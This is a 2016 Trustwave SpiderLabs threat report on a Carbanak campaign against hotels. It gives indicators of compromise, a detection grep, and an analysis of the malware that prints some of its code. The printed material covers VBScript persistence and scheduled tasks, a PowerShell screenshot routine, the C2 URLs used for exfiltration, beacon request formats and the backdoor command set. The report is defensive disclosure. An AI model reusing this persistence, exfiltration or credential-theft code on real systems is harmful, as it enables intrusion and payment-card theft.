



Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. [Learn More](#)

[Contact Us](#) [Login](#)

[Incident Response](#)

[Services](#)

[Solutions](#)



[Why Trustwave](#)



[Request a Demo](#)

[Partners](#)

[Resources](#)

Methodology

November 15, 2016 | 10 minutes read |

SpiderLabs Researcher



In the last month Trustwave was engaged by multiple hospitality businesses for investigations by an unknown attacker or attackers. The modus operandi for all three investigations were very similar and appear to be a new Carbanak gang attack methodology, focused on the hospitality industry. Carbanak is a prolific crime group, well known for stealing over one billion dollars from banks in 2015 (**Kaspersky estimated loss*) and more recently orchestrating an attack on the Oracle Micros POS support site that put over one million Point of Sale systems at risk. The current investigations are still underway but the known indicators of compromise in these

new attacks will be presented below. At the time of investigation this malware was not correctly detected by any existing antivirus engines, and domains / IP's were not found in any commercial threat intelligence feeds.

It is also interesting to note that just during the time that it took to write this blog, Carbanak returned to their victims with significantly upgraded malware. This demonstrates the speed and versatility of this threat group. We have included analysis for two separate versions of AdobeUpdateManagementTool.vbs in this report. (The malware used following the initial infection) Version two arrived only two weeks after we began investigating this new campaign.

Attack Vector

The attacks began via social engineering. An attacker called the customer contact line saying that they were unable to use the online reservation system and requested to send their information to the agent via email. The attacker stayed on the line until the agent opened the attachment contained in the email and hung up when his attack was confirmed successful. The email attachment was a malicious Word Document that contained an encoded .VBS script capable of stealing system information, desktop screenshots, and to download additional malware.

A screenshot of the malicious Word document is shown below. The malicious VB Script will use macros to search for instances of Microsoft Word running on the system, if

found, it will clear the existing text and replace it with the following text.

Hello,

According to the orders of our clients, we would like to host a corporate celebration for them. We would like to take advantage of different services your hotel has to offer. Our clients have different interests and preferences and we are hoping you'll be able to provide us the means to make this celebration fun, interesting and satisfying.

Best Regards,

David Johnson

Revital-Travel Ltd.

The victim system will then reach out to <http://95.215.47.105> to retrieve additional malware called `AdobeUpdateManagementTool.vbs`.

AdobeUpdateManagementTool.vbs - Indicators of compromise:

File name: `adobeupdatemanagementtool.vbs`

SHA-1

8d7c90a699b4055e9c7db4571588c765c1cf2358

(Version 1)

SHA-1

a91416185d2565ce991fc2c0dd9591c71fd1f627

(Version 2)

- Creates folder: `%temp%\WindowsUpdate`
- Creates folder: `%temp%\WindowsUpdate_\Dropebox<username>`
- Adds file to WindowsUpdate folder: `vbs`
- Adds persistence mechanism to the `CURRENT_USER` registry hive in the `CurrentVersion\Run` and `CurrentVersion\RunOnce` keys to autostart `AdobeUpdateManagementTool`.
- A scheduled task is created named `SysChecks` which calls the `vbs`

- A service is created named **'ADOBEUPDTOOL'** which calls the AdobeUpdateManagementTool.vbs
 - The malware drops a Shockwave Flash icon and disguises itself as such.
-
- The malware contacts the following and may attempt to download *doc*:
 - http://revital-travel.com/cssSiteteTemplates
 - http://juste-travel.com/cssSiteteTemplates
 - http://park-travels.com
 - *All domains resolve to the same IP address (192.99.14.211)*
 - http://95.215.46.249
 - 179.43.133.34
 - The malware may report to the following command and Control Servers, depending on the version used in the attack:
 - http://148.251.18.75
 - http://95.215.46.221
 - http://95.215.46.229
 - http://95.215.46.234
 - http://81.17.28.124

This malware was capable of stealing significant system and network information. It was also used to download several other reconnaissance tools to map out the network.

Downloaded tools have included Nmap, FreeRDP, NCat, Nping, and others. Two files of significance, **el32.exe** and **el64.exe**, are privilege escalation exploits for 32 and 64 bit architectures. Their hashes are as follows:

- el32.exe SHA1:
83D0964F06E5F53D882F759E4933A6511730E07B
- el64.exe SHA1:
CF5B30E6ADA0D6EE7449D6BDE9986A35DF6F2986

This malware was primarily responsible for the reconnaissance stage of the attack. However, it also downloaded additional malware that enables the next stage of the attack and could execute powershell scripts on command.

Beaconing - AdobeUpdateManagementTool.vbs

We have seen slightly different data beaconing methodologies over the different attacks, but the general approach has remained the same. Beaconing messages are sent out to 179.43.133.34 via standard HTTP GET requests every 5 minutes. Using this simple methodology allows the beaconing to hide very well within standard corporate network traffic. The content of the GET request is encoded with Base64 and secondarily encrypted with RC4. Trustwave has written a specialized decoder for this traffic and it can be obtained upon request.

The innocuous nature of this traffic allows it to be stealthy in a corporate network, however, its uniformity of structure also allows analysts to identify it relatively quickly as well. Security

staff can identify beaconing traffic using the following technique.

The network packet times of the GET requests originating from a compromised host occur almost exactly every 300 seconds (5 minutes). No web content is ever returned from the GET request except for code 200 OK, as shown below. (***Please note that the name=value pairs have been snipped for confidentiality reasons*):

```
GET /{random_param_name}.jsp?  
qqksq=MTgzLTlyIDhBIDkwl ...  
IDNFIDYwIDZCIDU4IEJFIDZCIENFIDY3&kfb4mz=MTgzLTlyIDhBIDkw  
...  
IDBGIDUyIDZDIDhF&xzn8=MTgzLTlyIDhBIDkwIEVGID  
... DUyIDZDIDhF HTTP/1.1  
Connection: Keep-Alive  
Keep-Alive: 300  
Content-Type: application/x-www-form-  
urlencoded  
Accept: */*  
User-Agent: Mozilla/5.0 (Linux; U; Android  
2.3.3; zh-tw; HTC Pyramid Build/GRI40)  
AppleWebKit/533.1 (KHTML, like Gecko)  
Version/4.0 Mobile Safari/533.1  
Charset: utf-8  
Host: 179.43.133.34  
  
HTTP/1.1 200 OK  
Date: Tue, 08 Nov 2016 20:12:05 GMT  
Server: Apache/2.2.22 (Debian)  
X-Powered-By: PHP/5.4.45-0+deb7u2  
Vary: Accept-Encoding  
Content-Length: 0  
Keep-Alive: timeout=5, max=100
```

Connection: Keep-Alive
Content-Type: text/html

The purpose of the GET request, with nothing coming back except the 200 code, is to "phone home" so the attacker knows the compromised system is available for further exploitation. To locate these specific GET requests you can use the following regular expression as an initial filter:

```
grep -E "GET /[a-z]{1,4}[a-z0-9]{1,6}\.jsp\?"  
log.txt
```

Full analysis of this malware can be found later in this report.

Second Stage – Carbanak / Anunak Malware:

Filename: bf.exe

SHA1:

3d00602c98776e2ea5d64a78fc622c4ff08708e3

This malware executes a new iteration of svchost.exe and injects its malicious code into this running process. This hides the malware within the svchost.exe process. (**Warning- our analysis has shown that some antivirus firms incorrectly identify this file as ransomware.*)

It then drops a pseudo-randomly named configuration file into the %**ProgramData%**|**Mozilla** folder. This file's name is base64 encoded and based on the infected system's MAC code, so identifying it by name will be challenging. However, it does always have a .bin extension. Any recent file in this folder with a .bin extension may be

suspect.

It then searches Kaspersky antivirus processes and terminates them if running on the victim system.

For persistency, it registers itself as a service with the following details:

Service name: RpcSsSys (this name is random, may vary on different system)

Path: "C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe"
Display name: Emote Procedure Call (RPC)

It then proceeds to download ***kldconfig.exe***, ***kldconfig.plug***, and ***runmem.wi.exe***. These tools are all well-known Carbanak malware and variations of them were used in the banking intrusions that made them famous in 2015. Additionally, the decrypted string references "**anunak_config**" which is the encrypted configuration file that it downloads from its control server. The Anunak crime group is generally believed to be synonymous with Carbanak.

This malware is very multi-functional as it can enable remote desktop, steal local passwords, search user's email, target IFOBS banking

systems (which Carbanak used so effectively in recent banking attacks), or install completely different remote desktop programs, such as VNC or AMMY. Full details on this malware's functionality is included later in this report.

Finally, this malware, like so many others, is designed to target credit card data by scraping memory on Point-of-Sale systems. This leaves little doubt as to its end goal on victim systems. The attacker uses social engineering to gain their foothold in the victim network, downloads reconnaissance tools to scan the network and move laterally into the card holder data environment, and then infects systems able to process card transactions.

Exfiltration – bf.exe

This malware provides the attacker remote command and control of the victim system via a multifunctional backdoor capability. It communicates via an encrypted tunnel on port 443 with the following IP addresses:

- 5.45.179.173
- 92.215.45.94

These are also the destinations that stolen data will be exfiltrated to. This malware may steal credit card data, as well as screen captures, keylogger information, email addresses from the PST file, enable RDP or VNC sessions, or to obtain additional system information.

All exfiltrated information is encrypted with base64+RC2 and sent via HTTP POST messages.

If you identify any of these IoC's on your network, you should contact a Trustwave account representative immediately, or reach out directly to the Trustwave SpiderLabs IR team at our 24-hour hotline:

24hr Hotline +1 (866) 659-9097 Option 5
International: +1 (312) 873-7500, Option 4

Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.Vbs (Version 1)

Summary

The file is OLE compound file format that contains an embedded .VBE (encoded VBS) script. The dropped script is capable of stealing system information, desktop screenshots and to download / execute additional malware.

Analysis

The encoded VBScript is embedded in OLE compound file.

When the malicious document file is opened, the embedded VBScript (VBE) file is dropped in the Windows %temp% folder.

The Loader VBScript

The dropped VBE file is a loader script that drops, installs and executes a second layer VBScript payload in the victim's system.

It creates a folder named "**WindowsUpdate_**" in the Window's %temp% directory, If the folder already exists, it will create the folder in the parent directory where the script resides.

```
SSCriptDir=sh.ExpandEnvironmentStrings("%TMP%")+"\\WindowsUp  
IF not fso.FolderExists(sScriptDir)Then  
fso.CreateFolder SScripDir End IF Err.Clear If  
Not fso.FolderExists(SSCripDir)Then  
sScriptDir=fso.GetParentFolderName(Wscript.ScriptFullName)+"\\W  
If Not fso.FolderExists(SScriptDir)Then  
fso.CreateFolder sscriptDir
```

A registry key is created that points to the Loader's directory

sh.RegWriTe"HKEY_CURRENT_USER\System\CurrentControlSet\Con

The second VBScript payload is embedded in the loader script as a Base64 string:

The loader script decodes the base64 string. This is then saved to a file named "**AdobeUpdateManagementTool.vbs**" into the "**\\WindowsUpdate_**" folder.

```
Dim run_Pth_scr
run_pth_scr=ldrpath+"\\AdobeUpdateManagementTool.vbs"
dim RUn_Pth
```

A persistence registry key is also created by the loader script:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion

```
On Error Resume Next
sh.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\Cl
Err_NUmBer=err.number If Err_nuMber<>0
Then cerr1.ErrAdd"Error #1-9",0 Err.CIEar End If
On Error Resume next
sh.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\Cl
Err_Number=eRr.number
```

The loader script adds a scheduled task with a task named "**SysChecks**". The purpose of this scheduled task is to run the payload script (AdobeUpdateManagementTool.vbs) in every 5 minutes

```
sh.Run"schtasks /create /tn ""SysChecks"" /tr
```

```
""""&run_pth&"""" /sc minute /mo 5",0,falSe
```

A SWF icon file is also dropped in the folder in order to disguise the dropped file as a Shockwave Flash file:

A shortcut file is also added in the Windows startup folder as

```
"AdobeUpdateManagementTool.lnk"
```

Set

```
LinkSTart=sh.CreateShoRTcuT(SPath&"\AdobeUpdateManagement
```

```
With LinksTart
```

```
LinksTart.ArGuMeNts=ruN_pth_scr
```

```
.dEsCription="AdobeUpdateManagementTool"
```

```
.HoTKeY="CTRL+X"
```

```
.IconLocation=ico_Filename
```

```
.TargEtPath=wscRipt_pThPaTH
```

```
.WiNdoWStyle=7
```

```
.WorkinGdirectory=sh.ExpandEnvironmEntStrings("%windir%\System
```

```
.SaVe
```

The Payload Script

The payload script is dropped in the

"%temp%\WindowsUpdate_" as **"AdobeUpdateManagementTool.v**

script uses obfuscation, a combination of base64 and integer-ed characters (chr) to hide malicious code.

#Example of obfuscation:

```
(F9Iornwzv1("cnVuZGxsMzIga2U=") & "" &
```

```
chr(29 + 85) & chr(81 + 29) & chr(-42 + 143) &
```

```
chr(-76 + 184) & chr(-20 + 71) & chr(-51 + 101)
& chr(67 + -23) & chr(70 + 13) & chr(-57 + 165)
& chr(50 + 51) & chr(-67 + 168) & chr(53 + 59)
& "")
```

The payload script checks if the following folder exists otherwise it creates it:

%AllUsersProfile% + "\\Dropebox" +

<username> (for example in Windows 7 system:

C:\\ProgramData\\DropeboxJoePC). This is where it stores additional script files and stolen data:

```
dim EZ0uaqbfk9m: EZ0uaqbfk9m =
EY4hrd8cuo.ExpandEnvironmentStrings("%USERNAME%")
EZ0uaqbfk9m = DT6zmqx4fb( EZ0uaqbfk9m )
FA1pcr7i8c3z = ldrpath + " \\Dropebox" +
EZ0uaqbfk9m
```

The payload has the following functionality:

Steal system information

- System Name
- System Manufacturer
- System Model
- Time Zone
- Total Physical Memory
- Processor System Type
- Processor
- BIOS Version
- Networking information
- Computer name
- Domain
- User name

Desktop screenshot

A powershell script (filename: screenshot_.ps1) is created to screenshot victim's desktop.

```
#Desktop screenshot routine, dropped as a powershell $ErrorActionPreference="stop"; try{ [Reflection.Assembly]::LoadWithPartialName("System.Drawing") function screenshot([Drawing.Rectangle]$bounds, $path){ $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save($path) $graphics.Dispose() $bmp.Dispose() } $ScriptDir = Split-Path $script:MyInvocation.MyCommand.Path $pth = $ScriptDir + "\screenshot_.png" $bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1500, 1000) screenshot $bounds $pth; }catch{ }
```

Downloaded malicious executable

It may also be able to receive additional malware executables and install them on the victim's computer.

Terminate Processes

The payload is also capable of terminating processes.

Network

The malware sends stolen data to the following URI:

```
urlArray(0) = "http://95.215.46.249" urlArray(1) = "http://revital-travel.com/cssSiteteTemplates"
```

```
urlArray(2) = "http://juste-travel.com/cssSiteteTemplates"
```

The data is sent as a data encrypted with RC4 and Base64 It is sent via an HTTP POST tunnel to the attacker's server.

```
POST /{random_param_name}.jsp?
xz2q=MjgtQUlgMTEgRDYgMEYgMTggNTYgNEUgRDQgODYgQTEgN
HTTP/1.1 Connection: Keep-Alive Keep-Alive:
300 Content-Type: multipart/form-data;
boundary="eb3d0b5d91fbde4d7a58ef5b9c954051"
Accept: /* Accept-Language: en-us User-
Agent: Mozilla/5.0 (Linux; U; Android 2.3.3; zh-
tw; HTC Pyramid Build/GRI40)
AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1 Charset: utf-8
Content-Length: 7274 Host: 95.215.46.249
```

Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.Vbs (Version 2)

Summary

This file is written in VBScript. It can receive commands from the attacker to download and execute EXE files, VBScript, or Powershell script files. Exfiltrated data is sent to the attacker's IP addresses through an HTTP POST tunnel

Analysis

Upon execution AdobeUpdateManagementTool.vbs will query the process in the infected system if it is

already running, if an existing instance of the script is already running, it will quit, otherwise it will proceed.

It then attempts to read the following registry key:

HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\ - Computer Count

The script then generates a unique identifier, using the following format:

%md_id% - %l_ver% - %ptrtr% -

%compCount%where:

%md_id% - XORed Computer name and MAC Address.

%l_ver% - hard coded in the malware script

e.g. Dim HH5hjs54j69a: HH5hjs54j69a = "1"

%ptrtr% - hard coded in the malware script e.g

Dim HI0cvexizqw: HI0cvexizqw = "2"

%compCount% - value from the registry key:

HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\ default value is the string "NO"

The malicious script checks if the following folder exists otherwise it creates it:

%AllUsersProfile% + "\\Dropebox" +

<username>

for example in Windows 7 system

C:\ProgramData\DropeboxJoePC

The following files will be dropped under this Folder, these files are only created if required by the command sent by the attacker:

1. screenshot__.ps1 - a powershell script that takes screenshots of the active desktop

2. screenshot__.png - the screenshot image
3. exe__.exe - an executable file sent by the attacker
4. vb__.vbs - a VBscript sent by the attacker
5. ps1__.ps1 - a Powershell script sent by the attacker
6. insatller.vbs - updater script sent by the attacker

Every time this script is executed, it requests commands from the Attacker's control server using HTTP GET request.

GET /{random_param_name}.jsp?pld===
{unique ID %md_id%}<\$>>{MD5 hash of the
current Date & Time} ← this is encrypted in
RC4 with hardcoded key and Base64. The GET
parameters may also be iterated up to 3 times.
User-agent: Mozilla/5.0 (Linux; U; Android
2.3.3; zh-tw; HTC Pyramid Build/GRI40)
AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1 Charset:utf-8
Connection: Keep-Alive Keep-Alive:300
Content-Type: application/x-www-form-
urlencoded

The script receives three types of information from the GET request:

- id = the unique ID of the infected system (%md_id%)
- cmd = MD5 hash of the attacker's command
- cmduniq = contains a value that signifies that this command is unique

The commands sent by the attackers are in MD5 hash, this is a anti-analysis technique.

Here are the command hashes that the attacker may send:

COMMAND	HASH (MD5)	DESCRIPTION
info	caf9b6b99962b15c2264824231	Retrieves system information. See below for the detailed information and exfiltration method.
proc	6844acdce7e192a011184914d7	Retrieves all running process.
scrin	e3b523c3cf36e1e0f64fec6ac6a	Takes screenshot of desktop. This command drops and executes the file screenshot__ps and the image is saved to screenshot__.pr The image is then sent to the control server IP address via an HTTP POST tunnel
exe	98e83379d45538379b2a4ed7	The attacker sends this command with an accompanying executable file that is saved to a file called exe__.exe. This is then

		executed and after 10 seconds this file will be deleted.
vbs	b3720bcc7c681c1356f77ba9761	<p>The attacker sends this command with an accompanying VBScript that is saved as vb__.vbs. The script is executed and the result returned by the script is saved to a temporary file in the Windows %temp% folder. The results are sent to the control server through an HTTP POST tunnel (see exfiltration detail below). Both resulting files are deleted after the execution.</p> <p>Note: the results are encoded in Base64 with the following text format: type: vbs time: {current time}</p>

		result: {result details}
update	3ac340832f29c15381e2d6f75	<p>This command receives an accompanying VBScript updater. This script is saved to insatller.vbs</p> <p>executed, it then uninstalls its old version. The file is deleted 10 seconds after execution.</p>
ps1	9ffb800e76372160cb02415dc	<p>the attacker sends this command with an accompanying Powershell script that is saved to ps1__.ps. The script is executed and the result is returned by the script and is saved to a temporary file in the Windows %temp% folder. The result is sent to the control server through HTTP POST tunnel (see exfiltration detail below).</p>

		<p>Both files are deleted after the execution.</p> <p>Note: the results are encoded in Base64 with the following text format: type: ps1 time: {current time} result: {result details}</p>
dll	06416233fe5ec4f563012241b	<p>This command did not function in this version of the malware.</p>
delete	099af53f6015327bd3140e99ff	<p>Removes the service running this script by running this command "cmd.exe /c %ADOBEUPDTC (This Service was installed by the dropper of this script.). It then deletes this script.</p>
scrrunr	cbd22ed4f5cd891f4e50f160	<p>Not actually a command, but somewhat an indicator that the control server each time a script is executed.</p>

The malware checks for the following registry key if the command has the same cmdunig value. If it is the same, it terminates the script, otherwise it writes the cmdunig value to this registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion

Following is the System information sent to the control server when the command "INFO" is received from the attacker.

- OS Name
- Version
- Service Pack
- OS Manufacturer
- Windows Directory
- Locale
- Available Physical Memory
- Total Virtual Memory
- Available Virtual Memory
- System Name
- System Manufacturer
- System Model
- Time Zone
- Total Physical Memory
- Processor System Type
- Processor
- BIOS Version
- Computer name
- Domain
- User name

This system information is also stored in this registry key:

HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\

The result data is exfiltrated after each

attackers command is executed. This is sent as a HTTP POST request to the control server.

```
POST /{random_name}.jsp?pld==={unique ID  
%md_id%}<<$>>{MD5 hash of Date & Time  
Now} ← this is encrypted in RC4 with  
hardcoded key and Base64. The POST  
parameters may also be iterated up to 3 times.  
User-agent: Mozilla/5.0 (Linux; U; Android  
2.3.3; zh-tw; HTC Pyramid Build/GRI40)  
AppleWebKit/533.1 (KHTML, like Gecko)  
Version/4.0 Mobile Safari/533.1 Charset:utf-8  
Connection: Keep-Alive Keep-Alive:300  
Content-Type: "multipart/form-data;  
boundary="{Random MD5 hash}"
```

The HTTP POST uses the body format below:

```
--{random MD5 hash}  
Content-Disposition: form-data; name="  
{random name}"  
{unique ID and current Date/Time Hash -  
encrypted with RC4 and Base64}  
--{random MD5 hash}  
Content-Disposition: form-data; name="  
{random name}"  
pPar1c==={unique ID encrypted with RC4 and  
Base64}  
--{random MD5 hash}  
Content-Disposition: form-data; name="  
{random name}"  
pPar2c==={command's MD5 Hash encrypted  
with RC4 and Base64}  
--{random MD5 hash}  
Content-Disposition: form-data; name="  
{random name}"  
pPar3c==={Results/Data/StolenInformation  
encrypted with RC4 and Base64}
```


After executing the command and exfiltrating the data, the malware sleeps for 3- 5 minutes (depending on the configuration hard-coded in the script) then loops to request the command again.

Network

Command and Control Servers:

- <http://148.251.18.75>
- <http://95.215.46.221>
- <http://95.215.46.229>
- <http://95.215.46.234>
- <http://81.17.28.124>

Detailed Analysis of Carbanak Malware: bf.exe

File Info

- **Filename:** bf.exe
- **Size:** 267216
- **Filetype:** PE32 executable (GUI) Intel 80386, for MS Windows
- **Compile Date:** 2016-03-01 08:50:54
- **Sha1**
Hash: 3d00602c98776e2ea5d64a78fc622c4ff08708e3
- **MD5**
Hash: c7b224d95fc96094afd2678cae753dcb

Summary

The file is a variant of Anunak/Carbanak malware. It provides functions from gathering information about the system to downloading and executing additional malware.

Analysis:

Malware Installation

This malware unpacks its main executable in memory and executes it.

It then drops a config file in the %appdata%\Mozilla folder as well as copy of itself with the filename "svchost.exe". The config filename is a base64 string comprising of a unique string and the MAC address of the infected system.

For example V14UDFcJZ1FfXQIIVA== to V14UDFcJZ1FfXQIIVA.bin.

It then spawns a new svchost.exe process with the command:

"C:\WINDOWS\system32\svchost.exe -k netsvcs" and then injects its code to that process. After process injection, the main malware executable terminates.

In this example the Mutex named "V14UDFcJZ1FfXQIIVA" is then created.

For persistency, it registers itself as a service with the following details:

Service name: RpcSsSys (this name is random, may vary on different systems)

Path: "C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe"

Display name: Emote Procedure Call (RPC)

Anti-reversing

The malware checks for the "isDebugged" flag in the PEB (Process Environment Block). It also checks for significant delay of code execution by utilizing the GetTickCount() function. Delay in code execution means the process is being

debugged.

Strings are heavily obfuscated to avoid static string analysis. The malware has a decoder table loaded in memory that is used for its lookup algorithm. All strings are deobfuscated on-the-fly.

decodertable =

```
"\x00\x12\x1C\x13\x0A\x0D\x14\x07\x15\x0C\x16\x09\x05\x03\x17\x0E\x08\x06\x11\x04\x1E\x19\x0B\x1B\x01\x02\x0F\x18\x20\x21\x4\x2C\x2D\x53\x22\x30\x31\x7F\x4E\x34\x35\x4B\x5A\x38\x39\x7A\x45\x46\x27\x48\x49\x47\x2B\x4C\x4D\x73\x4F\x50\x51\x52\x2E\x7E\x72\x60\x61\x2F\x23\x64\x65\x66\x2A\x68\x69\x67\x36\x6C\x77\x78\x79\x37\x3B\x7C\x7D\x3E\x32\x00\x00\x00\x00\x00\x00'
```

A sample code snippet of the Decoder:

An API Hashing technique is also utilized by the malware in order to hide relevant API functions it uses in its code. Rather than storing imported API names in the body, the malware author has pre-calculated the CRC hash of the API function. On runtime, all the malware does is to look-up the equivalent API name from its generated hash table.

Antivirus retaliation

Specific Kaspersky antivirus processes are terminated:

- avp.exe
- avpui.exe

Escalation of Privilege

The malware checks the system OS:

- Windows 8.1
- Windows 8
- Windows 7 SP1
- Windows Vista SP2
- Windows RT 8.1
- Windows RT
- Windows XP SP1
- Windows XP SP2
- Windows XP SP3
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2008 SP2
- Windows Server 2008 R2 SP1
- Windows Server 2003 SP2

If found, it attempts to exploit a vulnerability in "win32k.sys" identified as CVE-2013-3660 to escalate the privilege of the malware process.

Obtaining the Proxy Settings

The malware gets the proxy setting from the Internet Explorer registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer

It also gets the proxy setting stored in Mozilla's

prefs.js file.

The attacker however can push its own custom proxy settings to the malware.

Enabling Remote Desktop

The malware enables the Remote Desktop by starting the *TermService* service. It also sets the service to auto-mode so that the service will start on Windows startup.

It also enables the following Terminal Server registry key:

HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server

- fDenyTSConnection
- EnableConcurrentSessions
- AllowMultipleTSSession

POS Malware

Before the main POS routine, the malware searches data from the log file named "nsb.pos.client.log" and C:\NSB\Coalition\Log

It then enumerates the processes listed in a config file (klgconfig.plugin) pulled from the control server. From here it scrapes the process memory heap for credit card data,

specifically the Track 1. After collecting the card data, it creates a file where it stores the information.

This is the code snippet where it saves the data to an XML file:

Outlook Items

The malware also targets victim's email data by scrounging the victim's Outlook PST files for contact's email addresses, possibly to be used for further spear-phishing attacks from known individuals.

Local Password Stealer

The malware utilizes the open source project called Mimikatz and reused codes from this project to steal clear text local passwords from Lsass memory dump.

Plugins

1. **ifobs.pl**- the malware reused code from the Carperp ifobs module to target a banking application called iFOBS. This is a

very popular banking platform in Russia and Eastern Europe and this malware can be used to compromise IFOBS banking systems. When using this module, the malware hooks the following libraries:

```
{ "VistaDB_D7.bpl", "HProc2", 0xA9782FE7,
"OpenDatabaseConnection" }, { "RtlData1.bpl",
"HProc3", 0x1678D314, "TaskAfterSynchRun" },
{ "vcl70.bpl", "HProc4", 0x8D55F8B4,
"TCustomFormShow" }, { "vcl70.bpl", "HProc5",
0x3DF02899, "TCustomFormCloseQuery" }, {
"RtlStore.bpl", "HProc6", 0xCF6CD66,
"GlobalAppStorage" }, { "RtlData1.bpl",
"HProc7", 0xAFD2F1E2, "FillDataToDBCACHE" },
```

2. **ammyy.pl**- this enables the malware to run AMMY remote desktop control software
3. **vnc.pl**- this enables the malware to run a remote desktop VNC application

Backdoor Commands

The attacker can also send backdoor commands. In the malware code, a command hash table is used to compare commands (in readable strings) sent by the attacker, the hash of this command string is calculated by the malware. If the hash of the string matches any hash in the table, it executes the corresponding action.

The image below is the command and it's corresponding hash (in green font)

Network

It connects to a hardcoded IP address: 5.45.179.173 or 95.215.45.94 through an encrypted tunnel at port 443.

Compiler/Artifacts

The following sections describe artifacts found in the file

Malware Version Info

- legalcopyright: Blattering
- internalname: Soulfulness
- companyname: Maidish Leveraged
- legaltrademarks: Bobcats Kinsman
- filedescription: Sanger
- originalfilename: Adoptable Nightjars

Conclusion

In many ways, this attack follows a very

common series of events:

1. Social engineering / phishing used to gain initial network foothold
2. Cleverly disguised malware establishes remote control of victim system and downloads additional tools
3. Attacker conducts reconnaissance to scan network, expand foothold, and identify high-value targets
4. Payment card information and/or PII (personally identifiable information) is captured and exfiltrated back to the attacker.

However, the persistence, professionalism, and pervasiveness of this campaign is at a level rarely seen by Trustwave. The malware used is very multifaceted and still not caught by most (if any) antivirus engines. The social engineering is highly targeted, conducted via direct phone calls by threat actors with excellent English skills. The network reconnaissance and lateral movement is rapid and highly effective. Finally, the data exfiltration methodology is stealthy and efficient.

Carbanak is one of the most sophisticated threat actors in the cybercrime realm today and this report details a very active campaign currently being leveraged against hospitality and restaurant industries (and probably others). We encourage everyone to search their network for the IOC's described in this report and to contact Trustwave immediately if any are found.

***Credits for the analysis and creation of this cyber threat announcement: Rodel Mendrez, Reno Zenere, James Antonakos, Brian Hussey*

Latest SpiderLabs Blogs